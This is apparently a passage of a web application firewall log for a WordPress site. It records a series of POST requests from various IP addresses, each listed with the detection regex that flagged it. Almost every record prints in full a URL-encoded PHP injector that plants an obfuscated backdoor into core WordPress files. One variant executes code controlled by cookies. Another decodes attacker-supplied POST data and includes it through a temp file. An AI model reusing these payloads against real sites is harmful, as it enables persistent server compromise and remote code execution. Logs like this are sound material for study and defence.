Safari\/604.1\nsec-fetch-mode:navigate\naccept:*\/*\n\nKa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:19","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3256\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\n\nrq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:21","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:3279\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:36:24","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3256\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nDI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B14%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B14%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B14%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B7%255D%2528%2529.%2524p%255B12%255D%253Bif%2528%2521%2524p%255B18%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B0%255D%2529%253B%2524p%255B23%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B15%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:27","103.143.207.18","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dp:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 